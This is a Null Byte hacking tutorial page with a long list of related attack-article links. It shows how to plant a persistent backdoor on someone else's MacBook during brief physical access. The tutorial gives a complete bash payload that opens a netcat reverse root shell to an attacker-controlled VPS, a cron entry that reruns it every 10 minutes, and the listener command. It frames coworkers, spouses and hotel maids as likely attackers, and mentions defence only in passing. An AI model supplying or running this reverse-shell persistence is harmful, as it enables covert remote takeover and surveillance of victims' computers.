Hacking macOS: How to Connect to MacBook Backdoors from Anywhere in the World « Null Byte :: WonderHowTo

Backdooring a powered-off MacBookis easy when a few minutes of physical access is allowed. That attack works well if the hacker also shares a Wi-Fi network with the victim, but this time, I'll show how to remotely establish a connection to the backdoored MacBook as it moves between different Wi-Fi networks.I've already shown how to backdoor a MacBookusing a simple Netcat payload. This time, instead of creating a Netcat listener on the laptop and using an incoming connection to control it, the listener is created on anattacker-controlled VPS(virtual private server), and the MacBook periodically uses outgoing transmissions to connect to it. The roles of the Netcat commands are reversed; the attacker waits for incoming connections. ThemacOS default firewall settingsonly filterincoming connections, so this will entirely evade default firewall configurations.Previously:How to Configure a Backdoor on Anyone's MacBookThis kind ofphysical attackcan be performed by coworkers, neighbors, hotel maids, roommates, friends, spouses, or anyone with a few minutes of physical access to the target MacBook.Step 1: Purchase the VPSThere are no particular VPS configurations required in this method. A VPS with minimum specifications will perform well for this specific attack as there will not be any powerful CPU or RAM usage required.The VPS should be online and accessible via SSH before booting the MacBook into single-user mode. Take note of the VPS's IP address, as it's required in the next step.Don't Miss:The White Hat's Guide to Choosing a Virtual Private ServerStep 2: Create the Netcat PayloadThis method is a standalone method and does not require the Netcat payload used inmy previous article.While insingle-user mode, instead of creating a listener on the MacBook, Netcat will be used to periodically connect to the attacker's server at a set interval. To do this,nanocan be used to save the below BASH script into a file calledpayload.nano /etc/payloadType the below script into the nano terminal (TheVPS-IP-ADDRESS-HEREshould be changed to the attacker's IP address for the VPS), then save and exit by pressingCtrl+X, thenY, thenReturn.#!/bin/bash

n=$(ps aux | grep -o [1]234)

if [[ $n = "" ]]; then
    mkfifo f
    nc VPS-IP-ADDRESS-HERE 1234 < f | /bin/bash -i > f 2>&1
fiMuch likemy previous BASH script, the first line (n=$(ps aux | grep -o [1]234)), creates a variablen, which checks to see if port1234is already open. This port detection is achieved usingps, a tool used to view running background processes.The following line (if [[ $n = "" ]]; then) is the start of anifstatement which saysifthe variablen(port 1234) is not found,mkfifo, a tool used to create a "named pipe," will create a file calledf. The filename here is totally arbitrary and uses "f" for simplicity.Following the mkfifo command is the Netcat command (nc VPS-IP-ADDRESS-HERE 1234 < f | /bin/bash -i > f 2>&1) which is the primary difference compared to my previous script. Instead of opening a port, it tries to connect to port 1234 on the attacker-controlled VPS. Commands are again piped using theffile to grant the attacker access to a full BASH terminal.As said before, theVPS-IP-ADDRESS-HEREshould be changed to the attacker's IP address for the VPS. For example, if the attacker's IP address were 11.22.33.44, that line of the script would appear as such:nc 11.22.33.44 1234 < f | /bin/bash -i > f 2>&1Step 3: Use Cron to Execute the PayloadNext,crontab, a feature ofcron, will be used to schedule the BASH script ("payload") to execute every 10 minutes. The below command can be used to accomplish this.env EDITOR=nano crontab -eA new nano terminal will open. Type the below into nano, then save and exit the terminal.*/10 * * * * /etc/payloadReaders interested in scheduling cronjobs at intervals other than 10 minutes should check outTecAdmin's useful article.Step 4: Elevate the Payload File PermissionsLastly, the payload file permissions should be upgraded using the belowchmodcommand. This will allow the payload to execute without user input.chmod 777 /etc/payloadStep 5: Shut Down the MacBookWhen that's done, enter the below command into the single-user terminal to shut down the laptop.shutdown -h nowThat's it for backdooring the macOS device. When the owner of the laptop turns the device on, the Netcat command will execute every 10 minutes and attempt to connect to the attacker's server. If the server is not online, the Netcat command will continue to fail silently and try again at the next interval.Step 6: Wait for Incoming ConnectionsNow, with the MacBook backdoored, the final step is to start the Netcat listener on the VPS and wait for an incoming connection. This can be done using the below Netcat command.nc -l -p 1234Netcat will listen (-l) for incoming connections on every available interface on port (-p) 1234. That's all there is to it.When a new Netcat connection is established, the attacker will have full root access to the compromised MacBook. In upcoming articles, I'll show a few post-explotation tricks such as reading private Mail messages, dumping Chrome browser data, and escalating privileges.Readers interested in defending against such attacks should review the "How to Protect Yourself from Single-User Mode Abuse" section of my previous article.Don't Miss:How to Use Netcat — The Swiss Army Knife of Hacking ToolsFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byNilotpal Kalita/Unsplash; Screenshots by tokyoneon/Null ByteRelatedHow To:The Ultimate Guide to Hacking macOSHacking macOS:How to Install a Persistent Empire Backdoor on a MacBookHacking macOS:How to Use One Python Command to Bypass Antivirus Software in 5 SecondsHacking macOS:How to Configure a Backdoor on Anyone's MacBookHacking macOS:How to Perform Privilege Escalation, Part 2 (Password Phishing)Hacking macOS:How to Hack a MacBook with One Ruby CommandHacking macOS:How to Remotely Eavesdrop in Real Time Using Anyone's MacBook MicrophoneHacking macOS:How to Sniff Passwords on a Mac in Real Time, Part 1 (Packet Exfiltration)Hacking macOS:How to Dump Passwords Stored in Firefox Browsers RemotelyHacking macOS:How to Automate Screenshot Exfiltration from a Backdoored MacBookHacking macOS:How to Bypass Mojave's Elevated Privileges Prompt by Pretending to Be a Trusted AppHacking macOS:How to Perform Situational Awareness Attacks, Part 1 (Using System Profiler & ARP)How To:Hack Facebook & Gmail Accounts Owned by MacOS TargetsHacking macOS:How to Use One Tclsh Command to Bypass Antivirus ProtectionsHacking macOS:How to Hack a Mac Password Without Changing ItHacking macOS:How to Secretly Livestream Someone's MacBook Screen RemotelyHacking macOS:How to Perform Privilege Escalation, Part 1 (File Permissions Abuse)How To:Bypass Gatekeeper & Exploit macOS 10.14.5 & EarlierHacking macOS:How to Hack Mojave 10.14 with a Self-Destructing PayloadHacking macOS:How to Create an Undetectable PayloadHow To:Hack MacOS with Digispark Ducky Script PayloadsHacking macOS:How to Perform Situational Awareness Attacks, Part 2 (Finding Files, History & USB Devices)Hacking macOS:How to Create a Fake PDF Trojan with AppleScript, Part 1 (Creating the Stager)How To:Create a Bootable Install USB Drive of macOS 10.12 SierraHow to Hack with Arduino:Building MacOS Payloads for Inserting a Wi-Fi BackdoorHow to Hack with Arduino:Tracking Which Networks a Mac Has Connected To & WhenHacking macOS:How to Break into a MacBook Encrypted with FileVaultNews:What REALLY Happened with the Juniper Networks Hack?Hacking macOS:How to Dump 1Password, KeePassX & LastPass Passwords in PlaintextHacking macOS:How to Spread Trojans & Pivot to Other Mac ComputersHow To:Use YouTube to Watch Purchased Prime Video, iTunes, Vudu & Other Movies on Your PhoneNews:"This Guy Has My MacBook"—A Tale of Evil, Redemption & the Power of the AppNews:Ubuntu Usb on MacbookNews:Day 2 Of Our New WorldHow To:Turn Off MacBook Pro Screen with the Lid Open and Using an External Monitor